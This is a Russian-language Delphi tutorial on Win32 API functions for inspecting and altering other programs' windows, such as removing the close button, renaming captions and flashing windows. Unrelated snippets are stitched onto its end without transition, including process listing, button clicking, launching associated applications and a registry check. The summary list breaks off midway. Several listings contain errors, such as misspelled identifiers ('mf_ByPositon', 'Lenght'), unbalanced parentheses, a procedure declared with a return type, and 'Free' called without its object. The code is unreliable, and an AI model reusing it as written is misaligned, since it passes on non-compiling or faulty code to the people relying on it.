Ряд команд имеет кнопку, расположенную в правой части заголовка. Обычно таких кнопок три: свернуть, восстановить,
закрыть. Иногда добавляется кнопка помощь.
Зачем манипулировать доступными командами системного окна ??? Ну, например, есть окошко, у которого кнопка
закрыть - недоступна, а в системном меню пункта закрыть нет, да и на Alt+F4 она не откликается. А убрать
программку ужас как хочется.
Процедура GetSystemMenu
Синтаксис:
function GetSystemMenu(Wnd: HWnd; Revert: Bool): HMenu;
Описание: Считывает системное меню окна для копирования и модификации.
параметры:
Wnd: Всплывающее или дочернее окно.
Revent: Нуль, чтобы возвращался описатель для копирования системного меню, и не нуль, чтобы возвращался описатель
исходного системного меню.
Возвращаемое значение: идентификатор системного меню;
0 - если Revert отлична от нуля и системное меню не модифицировано.
Для начала надо получить идентификатор системного меню. При помощи приведенной выше функции.
Далее попробуем определить, что именно содержится в системном меню (надо сказать, что приведенные ниже функции API
справедливы для любых меню, а не только системных, но об этом несколько позже):
Процедура GetMenuString
Синтаксис:
function GetMenuString(Menu: HMenu; IDItem: Word; Str: PChar;
MaxCount: Integer; Flag: Word): Integer;
Описание: копирует метку элемента меню в Str. параметры:
Menu: идентификатор меню.
IDItem: идентификатор элемента меню.
Str: принимающий буфер.
MaxCount: размер буфера.
Flag: Одна из констант меню
mf_ByPosition - определять пункт меню по порядковому номеру
mf_ByCommand - определять пункт меню по выполняемой команде.
Возвращаемое значение: Количество реально скопированных байт.
Как видно из описания функции возможно два варианта определения списка по номеру или по выполняемой команде.
Если Flag = mf_ByCommand тогда в качестве IDItem передаются стандартные команды (см. константы в WM_SYSCOMMAND.
Предыдущий раздел).
Например
I:=GetMenuString (hMenu, SC_CLOSE, Mn,255,mfByCommand);
Возвращает название пункта системного меню, отвечающего за закрытие окна. I=0 указывает, что такого пункта в
системном меню нет.
Если Flag = mf_ByPosition тогда в качестве IDItem передается порядковый номер искомого пункта меню, начиная с 0
Например
I:=GetMenuString (hMenu, 0, Mn,255,mfByPosition);
Возвращает название самого первого по порядку пункта системного меню (обычно это восстановить). I=0 указывает, что
такого пункта в системном меню нет. ИМХО первый вариант более пригоден для получения списка строк системного меню,
в то время как второй - д ля определения присутствует ли данная команда в системном меню.
Количество элементов меню можно получить при помощи функции
Процедура GetMenuItemCount
Синтаксис:
function GetMenuItemCount(Menu: HMenu): Word;
Описание: определяет число меню и элементов меню верхнего уровня в указанном меню.
параметры:
Menu: идентификатор меню.
Возвращаемое значение: В случае успешного завершения возвращается число элементов меню; 0 - в противном случае.
Вот как приблизительно может выглядеть функция, которая определяет системное меню окна:
Получение списка системного меню окна.
...
ListBox1 : TlistBox; // Полученный список запихиваем сюда
... ...
Procedure GetSysMenuItem (Wd:HWND); // Передаем идентификатор окна.
Var
I,K,Q:Word;
hMenuHandle : HMENU;
Nm:Array[0..255] of Char;
Begin
ListBox1.Clear; // Очистим список перед использованием.
hMenuHandle:=GetSystemMenu(Wd, FALSE); // Получим идентификатор
if (hMenuHandle = 0) then Exit; // Если такого меню нет, то выходим
Q:=GetMenuItemCount(hMenuHandle); // Определяем количество пунктов меню.
For k:=0 to Q-1 do
Begin
i:=GetMenuString(hMenuHandle,k,Nm,255,MF_BYPOSITION); // Считываем название
ListBox1.Items.Add(String(Nm)); // Добавляем в список.
End;
End;
Итак, мы получили список пунктов системного меню. Пустые строки, скорее всего, означают разделители. Так же
используются акселераторы (&)
Следующим шагом будет определение состояния того или иного пункта меню.
Процедура GetMenuState
Синтаксис:
function GetMenuState(Menu: HMenu; ID, Flags: Word):
Описание: Считывает инфоpмацию состояния для указанного элемента меню.
параметры:
Menu: идентификатор меню.
IDItem: идентификатор элемента меню.
Flag: Одна из констант меню
mf_ByPosition - определять пункт меню по порядковому номеру
mf_ByCommand - определять пункт меню по выполняемой команде.
Возвращаемое значение: Маски флагов из следующих значений:
mf_Checked - отмеченное галочкой
mf_Disabled - недоступное
mf_Enabled - доступное
mf_MenuBarBreak - в новой строке или столбце с рисовкой разделителя
mf_MenuBreak - в новой строке или столбце без линий
mf_Separator - строка -разделитель
mf_UnChecked - неотмеченное.
в случае всплывающего меню старший байт содержит число элементов; -1 в случае неверного идентификатора. Давайте
слегка улучшим наш предыдущий текст, будем отображать, кроме названия пунктов меню, еще и такую насущную информацию
как является ли данный пункт разделителем и доступен ли данный пункт для пользователя : Получение списка состояния
системного меню окна.
...
ListBox1 : TlistBox; // Полученный список запихиваем сюда
... ...
Procedure GetSysMenuStatus (Wd:HWND); // Передаем идентификатор окна.
Var
K,Q,l:Word;
hMenuHandle : HMENU;
Nm:Array[0..255] of Char;
S:String;
Begin
Form1.ListBox1.Clear; // Очистим список перед использованием.
hMenuHandle:=GetSystemMenu(Wd, FALSE); // Получим идентификатор
if (hMenuHandle = 0) then Exit; // Если такого меню нет, то выходим
Q:=GetMenuItemCount(hMenuHandle); // Определяем количество пунктов меню.
For k:=0 to Q-1 do
Begin
GetMenuString(hMenuHandle,k,Nm,255,MF_BYPOSITION); // Считываем название
S:=String(Nm);
l:=GetMenuState(hMenuHandle,k,MF_BYPOSITION); // Считываем состояние пункта меню
If (L and mf_Separator=mf_Separator) then S:='----------------'; // Если это разделитель
If (l and mf_Grayed<>mf_Grayed) then S:='(a)'+S; // Если пункт меню подсвечен
Form1.ListBox1.Items.Add(S); // Добавляем в список.
End;
End;
Точно так же можно определять и многие другие параметры пунктов меню. Для получения большего количества информации о
пункте меню можно использовать
Пpоцедуpа GetMenuItemInfo
Синтаксис:
function GetMenuItemInfo(Menu: HMenu; ID, Flags: Word; Info:TMenuItemInfo): Word;
Описание: Выдает информацию о пункте меню.
параметры:
Menu: идентификатор меню.
ID: Идентификатор элемента меню.
Flag: Одна из констант меню
mf_ByPosition - определять пункт меню по порядковому номеру (или TRUE)
mf_ByCommand - определять пункт меню по выполняемой команде (или False).
Info : Указатель на структуру MENUITEMINFO
MENUITEMINFO = Record
CbSize : Word; // размер структуры в байтах
FMask : Word; // Определяет какие поля записи должны быть установлены или выбраны
FType : Word; // Тип пункта меню (основные)
//mft_BitMap - отображаемое с растровым изображением
// mft_Separator - строка -разделитель
// mft_String - строка
// mft_RadioCheck - строка с возможностью выбора
// mft_OwnerDraw - рисуемое пользователем
FState : Word; //Состояние пункта меню (основные).
// mfs_Checked - отмеченное галочкой
// mfs_UnChecked - неотмеченное.
// mfs_Default - по умолчанию
// mfs_Grayed - серое.
wID : Word; // Идентификатор пункта меню
hSubMenu : HMENU; // Идентификатор подменю. Если подменю нет то Null
hBmpChecked : HBITMAP; // Дескриптор растра для выбранного пункта
hBmpUnChecked : HbitMap; // Дескриптор растра для не выбранного пункта
dwItemData : DWORD; // Определяемое приложением значение
dwTypeData ; PAnsiChar; // Содержимое пункта меню
cch : Word; // Длина текста
hBmpItem: HBITMAP; // Дескриптор отображаемого изображения пункта меню.
End;
Возвращаемое значение: В случае успешного завершения возвращается 1; 0 - в противном случае. Эта функция является
упрощенным вариантом монстроподобной GetMenuInfo, которая, к сожалению, поддерживается не везде (Делфа 3 не
поддерживает), поэтому описывать и привязываться к этой функции не буду. Итак, мы получили список пунктов
системного меню окна . Теперь можно
1) Изменять статус пунктов меню (и соответствующих им кнопок заголовка)
2) Удалять «лишние» пункты меню
3) Добавлять «необходимые» пункты меню.
Будем решать эти вопросы по порядку.
процедура EnableMenuItem
Синтаксис:
function EnableMenuItem(Menu: HMenu; IDEnableItem, Enable: Word): LongBool;
Описание: разрешает, блокирует или затеняет элемент меню в соответствии со значением параметра Enable.
Menu: Идентификатор меню.
IDEnableItem: идентификатор или позиция элемента меню или помечаемый всплывающий элемент.
Enable: Комбинация констант
mf_ByCommand - пункты меню по команде
или
mf_ByPosition - пункты меню по порядку
совмещенные с константами
mf_Disabled, - недоступный
mf_Enabled - доступный
mf_Grayed. - затененый
Возвращаемое значение: Пpедыдущее состояние элемента меню; -1, если элемент не существует..
Следует заметить, что некоторые пункты системного меню связаны с состоянием окна (такие которые задают положение
окна и возможность перемещать и изменять его размеры) и даже если удается формально запретить некий пункт (например
развернуться) это не значи т, что он будет действительно недоступен.
Включение/выключение пункта меню
procedure EnableSysItem(WD:HWND;Number:Integer);
// передаем описатель окна и номер пункта
Var
hMenuHandle : HMENU;
i : LongInt;
l,r : word;
begin
If (Number<0) then Exit; // Если такого пункта точно быть не может
hMenuHandle:=GetSystemMenu(Wd,False); // Получим идентификатор
if hMenuHandle=0 then Exit; // Если меню нет
R:=mf_ByPositon;
//Прочтем текущее состояние
l:=GetMenuState(hMenuHandle,Number,MF_BYPOSITION);
// Переключим состояние
if l and mfs_Disabled <> mfs_Disabled then R:=R or mfs_Disabled
else R:=R or mfs_Enabled;
i:=LongInt(EnableMenuItem(hMenuHandle,Number,R));
end;
Как уже было сказано, это процедура будет работать далеко не для всех пунктов меню, например кнопку и пункт меню
закрыть она будет запрещать очень даже хорошо, а вот например пункт развернуть далеко не всегда. Для того, чтобы
сделать это наверняка нужно п росто удалить такую возможность. Т.е. удалить соответствующий пункт системного меню.
Пpоцедуpа DeleteMenu
Синтаксис:
procedure DeleteMenu(Menu: HMenu Position, Flags: Word): Bool;
Описание: Удаляет элемент из Menu. Если элемент является всплывающим, его описатель уничтожается, а память -
освобождается.
Menu: Идентификатор меню.
Position: Положение или идентификатоp команды.
Flags: Одна из констант меню: mf_ByPosition, mf_ByCommand.
Возвращаемое значение: В случае успешного завеpшения - не нуль; в пpотивном случае - 0.
Описание стандартное, поэтому никаких сложностей при использовании данной функции возникнуть не должно.
ИМХО использование как раз этой функции - тот случай, когда в качестве параметра flags лучше передавать
значение mf_ByCommand явно указывая какую коман ду Вы собираетесь удалить из меню. Так же следует заметить,
что удаление пункта меню, которому соответствует кнопка заголовка приведет не к исчезновению кнопки из
аголовка, а только к ее затенению.
Добавить пункт меню можно двумя способами: просто добавить пункт в конец меню:
Пpоцедуpа AppendMenu
Синтаксис:
function AppendMenu(Menu: HMenu; Flags, IDNewItem: Word; Name: PChar): Bool;
Описание: Пpисоединяет в конец меню новый элемент, состояние котоpого опpеделяется Flags.
Menu: Идентификатор меню.
IDNewItem: Положение или идентификатоp команды.
Flags: Одна из констант меню: mf_ByPosition, mf_ByCommand.
Name: Название пункта меню.
Возвращаемое значение: В случае успешного завеpшения - не нуль; в пpотивном случае - 0.
Или вставить пункт меню настроив все необходимые параметры
Пpоцедуpа InsertMenuItem
Синтаксис:
function InsertMenuItem (Menu: HMenu; Flags, IDNewItem: Word; Item: :TMenuItemInfo): Bool;
Описание: Вставляет пункт меню.
Menu: Идентификатор меню.
IDNewItem: Положение или идентификатоp команды.
Flags: Одна из констант меню: mf_ByPosition, mf_ByCommand.
Item: Структура определяющая пункт меню (см. описание GetMenuItemInfo)
Возвращаемое значение: В случае успешного завеpшения - не нуль; в пpотивном случае - 0.
Ну и как результат всех наших стараний напишем процедуру, которая разрешает или запрещает кнопку, строку
системного меню «закрыть» (а так же комбинацию клавиш Alt+F4):
Удаление или восстановление кнопки закрыть окно.
// Отключает или разрешает так же пункт меню, и комбинацию Alt+F4
Procedure CloseXbtn (Wd:HWND; Enable:Boolean);
Var
hMenuHandle : HMENU;
Begin
hMenuHandle:=GetSystemMenu(Wd,False); // Получим идентификатор
if hMenuHandle=0 then Exit; // Если меню нет
If Enable then // Если надо добавить пункт меню
AppendMenu (hMenuHandle, mf_ByCommand, SC_Close,'&Закрыть Alt+F4');
Else DeleteMenu(hMenuHandle, SC_Close, mf_ByCommand);
End;
Конечно, куда правильнее было бы использовать функцию InserMenuItem вместо AppendMenu, тогда можно было бы
поставить слева значек «закрыть». Но это уже для любителей самим повозиться с API, очень уж не хочется лишать
их этого удовольствия J.
Ну, и, наконец, для развлечения тех, кто продрался сквозь все эти кошмары работы с системным меню, предлагаю
маленькое развлечение.
Иногда появляется необходимость нарисовать, что-нибудь (например, кнопку) в заголовке чужого окна (а возможно и своего).
Это можно сделать очень и очень просто.
Пpоцедуpа DrawFrameControl
Синтаксис:
function DrawFrameControl (DC:HDC;Rc :Trect; uType,uStyle:Word ): Bool;
Описание: Рисует один из элементов в заголовке окна.
DC : контекст устройства в котором происходит рисование.
Rc : Область в которой будет происходить рисование
UType: Тип элемента одна из констант:
DFC_BUTTON Кнопка
DFC_CAPTION Заголовок
DCF_MENU Меню
DFC_SCROLL Полоса прокрутки
Ustyle : Стиль элемента одна из констант:
Для кнопок
DFCS_BUTTON3STATE Кнопка с тремя состояниями
DFCS_BUTTONCHECK Флажок
DFCS_BUTTONPUSH Кнопка
DFCS_BUTTONRADIO Переключатель
DFCS_BUTTONRADIOIMAGE Картинка для переключателя
DFCS_BUTTONRADIOMASK Маска для переключателя
Для заголовков
DFCS_CAPTIONCLOSE Кнопка закрыть
DFCS_CAPTIONHELP Кнопка помощь (только Window 9x)
DFCS_CAPTIONMAX Кнопка развернуть
DFCS_CAPTIONMIN Кнопка свернуть
DFCS_CAPTIONRESTORE Кнопка восстановить
Для меню
DFCS_MENUARROW Стрелка подменю
DFCS_MENUBULLET Маркер
DFCS_MENUCHECK Маркер - флажек
Для полос прокрутки
DFCS_SCROLLCOMBOBOX Линейка прокрутки выпадаюшего списка DFCS_SCROLLDOWN Кнопка вниз DFCS_SCROLLLEFT Кнопка
влево DFCS_SCROLLRIGHT Кнопка вправо DFCS_SCROLLSIZEGRIP Размерная ручка DFCS_SCROLLUP Кнопка вверх
Возвращаемое значение: В случае успешного завеpшения - не нуль; в пpотивном случае - 0.
Заметьте, что это функция только рисует элемент заголовка.
14 Отрисовка «фальшивой» кнопки закрыть в заголовке окна.
Procedure DrawFalseClose (Wd:HWND; xPos:Integer);
Var DC:HDC;
begin
DC:=GetWindowDC(Wd); // Получим контекст устройства окна
If DC>0 then
Begin
DrawFrameControl (DC,Rect(xPos,4,xPos+16,020),DFC_Caption,DFCS_CaptionClose);
ReleaseDC(Wd,DC); // Освободим контекст устройства.
End;
end;
Некоторые дополнительные возможности
С приложениями (и окнами верхнего уровня в частности) можно делать огромное количество вещей. Если быть честным,
то останавливаться подробно на этих возможностях я не собирался. Но оказалось, что решение этих задач интересует
достаточно многих. В этом раз деле попробуем привести некоторые, на мой взгляд, наиболее полезные из них.
Самым простым, и наиболее часто используемой является возможность изменять заголовок чужих окон. И действительно,
почему в заголовке Дельфы пишется например Delphi ? J Непорядок !
Пpоцедуpа SetWindowText
Синтаксис:
procedure SetWindowText(Wnd: HWnd; Str: PChar);
Описание: Устанавливает название заголовка для окна или текст оpгана упpавления с помощью стpоки, указанной в Str.
Wnd: Идентификатоp окна или оpгана упpавления.
Str: Стpока (заканчивающаяся пустым символом).
Возвращаемое значение:Нет.
И текст, который иллюстрирует работу данной функции, например, находит окно Дельфы и меняет ее заголовок с
«Delphi» на любой другой
Замена текста в заголовке окна.
// Передаем новое название например Дельфи
Procedure ChangeDelphi (NewName:String);
Var Wd:HWND;
Nm:Array[0..255] of Char
St : String;
I:Integer;
Begin
Wd:= FindWindow('TAppBuilder',Nil); // Находим заголовок по классу окна Delphi
If Wd<=0 then Exit; // Такого окна нет.
GetWindowText(Wd,Nm,255); // Считываем заголовок окна
St:=String(Nm); // Переводим в строку
I:=Pos('Delphi',St); // Находим положения заголовка
If I>0 then // Если слово Дельфи есть в заголовке
Begin
Delete(St,i,Lenght('Delphi'); // Удаляем
Insert(NewName,St,i); // Вставляем
SetWindowText(Wd,Pchar(St)); // Отправляем новый заголовок окну.
End; // Все
end;
Зачастую необходимо выяснить, не зависло ли окно (или вернее насколько живо оно откликается на попытки
системы достучаться до него) Для этих целей можно использовать следующий текст
16 Определение не является ли данное окно зависшим.
// Результат True- рабочее окно, False - возможно окно висит
function WinTimeOut (Wd:HWND;Time:Integer):Boolean; //Описатель окна и время в секундах
Var dwRes:DWORD
begin
Time:=Time*1000; // Переводим время в миллисекунды
Result:=Not SendMessageTimeOut(WD,WM_USER,0,0,SMTO_NORMAL, Time, @dwRes);
end;
Теперь поговорим о, так называемом, подсвечивание окон. Например, при установке точки останова в программе
главное окно начинает мерцать. И делает это до тех пор, пока пользователь не переключится в это окно. Как это делается ???
Существует пара функций:
Пpоцедуpа FlashWindow
Синтаксис:
function FlashWindow(Wnd: HWnd; Invert: Bool): Bool;
Описание: Делает окно или пиктогpамму мигающими. Активное состояние откpытого окна инвеpтиpуется.
Wnd: Идентификатоp окна или оpгана упpавления.
Invert: Не нуль, если мигание, 0 - для возвpата к исходному состоянию (для пиктогpамм игноpиpуется).
Возвращаемое значение: Не нуль, если окно до вызова было активным; 0 - в пpотивном случае.
И вторая функция, которая описана для Delphi 5 а для 3 нет, что обидно, но мы это исправим.
Пpоцедуpа FlashWindowEx
Синтаксис:
function FlashWindowEx(var pfwi: FLASHWINFO): BOOL;
Описание: Делает окно или пиктогpамму мигающими. Активное состояние откpытого окна инвеpтиpуется.
FLASHWINFO = record
cbSize: UINT; // Размер структуры в байтах
hwnd: HWND; // Идентификатоp окна или оpгана упpавления.
dwFlags: DWORD; // один из следующих флагов:
FLASHW_STOP = $0; // Не мигать
FLASHW_CAPTION = $1; // Мигающий заголовок
FLASHW_TRAY = $2; // Мигающая кнопка
FLASHW_ALL = FLASHW_CAPTION or FLASHW_TRAY; // Мигать
FLASHW_TIMER = $4; // Мигать пока не будет запущен СТОП
FLASHW_TIMERNOFG = $C; // Мигать пока не станет верхним
uCount: UINT; // Сколько раз мигать
dwTimeout: DWORD; // Интервал мигания
end;
Возвращаемое значение: Не нуль, если окно до вызова было активным; 0 - в пpотивном случае.
Сначала опишем функцию для несчастных, которые как и я ютятся в 3 версии.
Куда Вы все это вставите Ваши сложности можно в отдельный модуль можно в тот же что и программа. Если будете
делать отдельный модуль, это будет выглядеть приблизительно так:
interface
Const
FLASHW_STOP = $0;
FLASHW_CAPTION = $1;
FLASHW_TRAY = $2;
FLASHW_ALL = FLASHW_CAPTION or FLASHW_TRAY;
FLASHW_TIMER = $4;
FLASHW_TIMERNOFG = $C;
type
FLASHWINFO = record
cbSize: UINT;
hwnd: HWND;
dwFlags: DWORD;
uCount: UINT;
dwTimeout: DWORD;
end;
PFLASHWINFO = ^FLASHWINFO;
TFlashWInfo = FLASHWINFO;
function FlashWindowEx(var pfwi: FLASHWINFO): BOOL; stdcall;
implementation
function FlashWindowEx; external user32 name 'FlashWindowEx';
end;
А теперь сама программа, не забудьте подключить модуль кому нужно:
17 Мигающий заголовок окна
// Результат True- рабочее окно, False - возможно окно висит
procedure SetOnFlash (Wd:HWND;):Boolean; //Описатель окна
Var f: TFlashWInfo;
Begin
f.Hwnd:=Wd;
f.dwFlags:= FLASHW_ALL;
f.dwTimeout:=10;
f.uCount:=100;
f.cbSize:=SizeOf(F);
FlashWindowEx(F)
end;
Итоги
Итак, мы научились управлять чужими окнами верхнего уровня:
1. Изменять их положение, размеры
2. Закрывать, сворачивать и восстанавливать
function EnumChildProc(Wnd: hWnd; SL: TStrings): BOOL; stdcall;
var
szFull: array[0..MAX_PATH] of Char; //Buffer for window caption
begin
Result := Wnd <> 0;
if Result then
begin
GetWindowText(Wnd, szFull, SizeOf(szFull)); // put window text in buffer
if (Pos(SL[0], StrPas(szFull)) > 0) // Test for text
and (SL.IndexOfObject(TObject(Wnd)) < 0) // Test for duplicate handles
then SL.AddObject(StrPas(szFull), TObject(Wnd)); // Add item to list
EnumChildWindows(Wnd, @EnumChildProc, Longint(SL)); //Recurse into child windows
end;
end;
function ClickButton(ParentWindow: Hwnd; ButtonCaption: string): Boolean;
var
SL: TStringList;
H: hWnd;
begin
SL := TStringList.Create;
try
SL.AddObject(ButtonCaption, nil); // First item in list is text to find
EnumChildWindows(ParentWindow, @EnumChildProc, Longint(SL));
H := 0;
case SL.Count of
1: ShowMessage('Window text not found.');
2: H := hWnd(SL.Objects[1]);
else
ShowMessage('Ambiguous text detected.');
end;
finally
SL.Free;
end;
Result := H <> 0;
if Result then PostMessage(H, BM_CLICK, 0, 0);
end;
// Rememeber the ampresand for underlined characters
// if the 'c' is underlined, then the text is '&click'
WinExec сразу после запуска приложения возвращает его дескриптор. Для определения завершения программы вы должны
вызывать функцию GetModuleUsage(InstanceID), где InstanceID - дескриптор запущенного функцией WinExec приложения.
Если возвращаемый результат содержит ноль, приложение завершило свою работу. Сделайте проверку в таймерном цикле
и задача решена.
Для примера, запустите "Блокнот" и попробуем его кнопку закрытия окна сделать неактивной, кроме того пункт
"закрыть" в системном меню тоже будет отключён! ;-]
procedure TForm1.Button1Click(Sender: TObject);
var
hwndHandle: THANDLE;
hMenuHandle: HMENU;
begin
hwndHandle := FindWindow(nil, 'Untitled - Notepad');
if (hwndHandle <> 0) then
begin
hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
if (hMenuHandle <> 0) then
DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;
end;
Вместо "Untitled - Notepad", нужно подставить заголовок того окна, которому вы хотите послать сообщение.
Но это окно можно закрыть из TaskBar'а.
--------------------------------------------------
procedure TForm1.FormCreate(Sender: TObject);
var
Style: Longint;
begin
Style := GetWindowLong(Handle, GWL_STYLE);
SetWindowLong(Handle, GWL_STYLE, Style and not WS_SYSMENU);
end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift:
TShiftState);
begin
if (Key = VK_F4) and (ssAlt in Shift) then
begin
MessageBeep(0);
Key := 0;
end;
end;
{ Disable close button }
procedure TForm1.Button1Click(Sender: TObject);
var
SysMenu: HMenu;
begin
SysMenu := GetSystemMenu(Handle, False);
Windows.EnableMenuItem(SysMenu, SC_CLOSE, MF_DISABLED or MF_GRAYED);
end;
{ Enable close button }
procedure TForm1.Button2Click(Sender: TObject);
begin
GetSystemMenu(Handle, True);
Perform(WM_NCPAINT, Handle, 0);
end;
Но это окно можно закрыть из TaskBar'а.
Открыть документ и дождаться завершения работы с ним
Оформил: DeeCo
Автор: http://www.swissdelphicenter.ch
{
This tip allows you to open any document with its
associated application (not only exe, com) and wait for it to finish.
}
{
Dieser Tip ermцglicht es, nicht nur normale Programme, sondern auch Dateien,
die mit Programmen geцffnet werden, auszufьhren und darauf zu warten,
bis sie beendet sind.
}
uses
Shellapi;
function StartAssociatedExe(FileName: string; var ErrorCode: Cardinal): Boolean;
var
Prg: string;
ProcessInfo: TProcessInformation;
StartupInfo: TStartupInfo;
begin
SetLength(Prg, MAX_PATH);
Result := False;
ErrorCode := FindExecutable(PChar(FileName), nil, PChar(Prg));
if ErrorCode >= 32 then
begin
SetLength(Prg, StrLen(PChar(Prg)));
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
with StartupInfo do
begin
cb := SizeOf(TStartupInfo);
wShowWindow := SW_SHOW;
end;
if CreateProcess(PChar(Prg), PChar(Format('%s %s', [Prg, FileName])),
nil, nil, False, NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo) then
begin
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
GetExitCodeProcess(ProcessInfo.hProcess, ErrorCode);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
Result := True;
end
else
ErrorCode := GetLastError;
end;
end;
// Example, Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
var
ErrorCode: Cardinal;
begin
StartAssociatedExe('c:\test.doc', ErrorCode);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
s: string;
h: HWND;
begin
h := WindowFromPoint(Mouse.CursorPos);
SetLength(s, SendMessage(h, WM_GETTEXTLENGTH, 0, 0)+1);
SendMessage(h, WM_GETTEXT, length(s), Integer(PChar(s)));
SetLength(s, lStrLen(PChar(s)));
Label1.Caption := s;
end;
Некрасиво то, что вся эта ерунда висит на таймере...
Использование фуекции Windows API FindWindow() - простейший способ нахождение окна, при условии, что известен его
заголовок или имя оконного класса. Если Вам известна только часть заголовка окна (например 'Netscape - ' + 'какой-то
неизвестный URL'), Ва м нужно использовать функцию EnumWindows() для получения всех окон, затем вызывать функцию
GetWindowsText() и GetClassName для поиска нужного окна. Следующий пример находит первое окно, содержащее совпадающую
часть заголовка окна и полностью совпадающее название оконного класса (если он задан) и делает это окно активным.
type
PFindWindowStruct = ^TFindWindowStruct;
TFindWindowStruct = record
Caption : string;
ClassName : string;
WindowHandle : THandle;
end;
function EnumWindowsProc(hWindow : hWnd; lParam : LongInt) : Bool {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF}
var
lpBuffer: PChar;
WindowCaptionFound: bool;
ClassNameFound: bool;
begin
GetMem(lpBuffer, 255);
Result := True;
WindowCaptionFound := False;
ClassNameFound := False;
try
if GetWindowText(hWindow, lpBuffer, 255) > 0 then
if Pos(PFindWindowStruct(lParam).Caption, StrPas(lpBuffer)) > 0 then
WindowCaptionFound := true;
if PFindWindowStruct(lParam).ClassName = '' then
ClassNameFound := True
else
if GetClassName(hWindow, lpBuffer, 255) > 0 then
if Pos(PFindWindowStruct(lParam).ClassName, StrPas(lpBuffer)) > 0 then
ClassNameFound := True;
if (WindowCaptionFound and ClassNameFound) then
begin
PFindWindowStruct(lParam).WindowHandle := hWindow;
Result := False;
end;
finally
FreeMem(lpBuffer, sizeof(lpBuffer^));
end;
end;
function FindAWindow(Caption : string; ClassName : string) : THandle;
var
WindowInfo : TFindWindowStruct;
begin
with WindowInfo do begin
Caption := Caption;
ClassName := ClassName;
WindowHandle := 0;
EnumWindows(@EnumWindowsProc, LongInt(@WindowInfo));
FindAWindow := WindowHandle;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
TheWindowHandle : THandle;
begin
TheWindowHandle := FindAWindow('Netscape - ', '');
if TheWindowHandle = 0 then
ShowMessage('Window Not Found!')
else
BringWindowToTop(TheWindowHandle);
end;
{
FindExecutable returns the name and handle to the executable
(.EXE) file associated with a specified file type (.BMP)
}
{
Wenn du z.B eine BMP-Datei anklickst, wird die
dazugehorige Anwendung MSPAINT.EXE mit der Datei als
Parameter ausgefuhrt. In diesem Beispiel wird
herausgefunden, welche Anwendung (hier MSPAINT.EXE)
mit dem jeweiligen Datei Typ verknupft ist.
}
function ShellFindExecutable(const FileName, DefaultDir: string): string;
var
Res: HINST;
Buffer: array[0..MAX_PATH] of Char;
P: PChar;
begin
FillChar(Buffer, SizeOf(Buffer), #0);
if DefaultDir = '' then P := nil
else
P := PChar(DefaultDir);
Res := FindExecutable(PChar(FileName), P, Buffer);
if Res > 32 then
begin
P := Buffer;
while PWord(P)^ <> 0 do
begin
if P^ = #0 then // FindExecutable replaces #32 with #0
P^ := ' ';
Inc(P);
end;
Result := Buffer;
end
else
Result := '';
end;
// Example, Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShellFindExecutable('1stboot.bmp', 'c:\windows');
end;
uses
Psapi, tlhelp32;
procedure CreateWin9xProcessList(List: TstringList);
var
hSnapShot: THandle;
ProcInfo: TProcessEntry32;
begin
if List = nil then Exit;
hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot <> THandle(-1)) then
begin
ProcInfo.dwSize := SizeOf(ProcInfo);
if (Process32First(hSnapshot, ProcInfo)) then
begin
List.Add(ProcInfo.szExeFile);
while (Process32Next(hSnapShot, ProcInfo)) do
List.Add(ProcInfo.szExeFile);
end;
CloseHandle(hSnapShot);
end;
end;
procedure CreateWinNTProcessList(List: TstringList);
var
PIDArray: array [0..1023] of DWORD;
cb: DWORD;
I: Integer;
ProcCount: Integer;
hMod: HMODULE;
hProcess: THandle;
ModuleName: array [0..300] of Char;
begin
if List = nil then Exit;
EnumProcesses(@PIDArray, SizeOf(PIDArray), cb);
ProcCount := cb div SizeOf(DWORD);
for I := 0 to ProcCount - 1 do
begin
hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or
PROCESS_VM_READ,
False,
PIDArray[I]);
if (hProcess <> 0) then
begin
EnumProcessModules(hProcess, @hMod, SizeOf(hMod), cb);
GetModuleFilenameEx(hProcess, hMod, ModuleName, SizeOf(ModuleName));
List.Add(ModuleName);
CloseHandle(hProcess);
end;
end;
end;
procedure GetProcessList(var List: TstringList);
var
ovi: TOSVersionInfo;
begin
if List = nil then Exit;
ovi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(ovi);
case ovi.dwPlatformId of
VER_PLATFORM_WIN32_WINDOWS: CreateWin9xProcessList(List);
VER_PLATFORM_WIN32_NT: CreateWinNTProcessList(List);
end
end;
function EXE_Running(FileName: string; bFullpath: Boolean): Boolean;
var
i: Integer;
MyProcList: TstringList;
begin
MyProcList := TStringList.Create;
try
GetProcessList(MyProcList);
Result := False;
if MyProcList = nil then Exit;
for i := 0 to MyProcList.Count - 1 do
begin
if not bFullpath then
begin
if CompareText(ExtractFileName(MyProcList.Strings[i]), FileName) = 0 then
Result := True
end
else if CompareText(MyProcList.strings[i], FileName) = 0 then Result := True;
if Result then Break;
end;
finally
MyProcList.Free;
end;
end;
// Example 1: Is a Exe-File running ?
procedure TForm1.Button1Click(Sender: TObject);
begin
if EXE_Running('Notepad.exe', False) then
ShowMessage('EXE is running')
else
ShowMessage('EXE is not running');
end;
// Example 2: List running Exe-Files
procedure TForm1.Button3Click(Sender: TObject);
var
i: Integer;
MyProcList: TstringList;
begin
MyProcList := TStringList.Create;
try
GetProcessList(MyProcList);
if MyProcList = nil then Exit;
for i := 0 to MyProcList.Count - 1 do
ListBox1.Items.Add(MyProcList.Strings[i]);
finally
MyProcList.Free;
end;
end;
var
I: Integer;
M: TMessage;
...
with M do begin
Message := ...
...
end;
PostMessage( Forms[I].Handle, ... );
// Если надо и всем чилдам
Forms[I].Broadcast( M );
end
uses
Registry;
function IsWordInstalled: Boolean;
var
Reg: TRegistry;
s: string;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CLASSES_ROOT;
Result := Reg.KeyExists('Word.Application');
finally
Free;
end;
end;
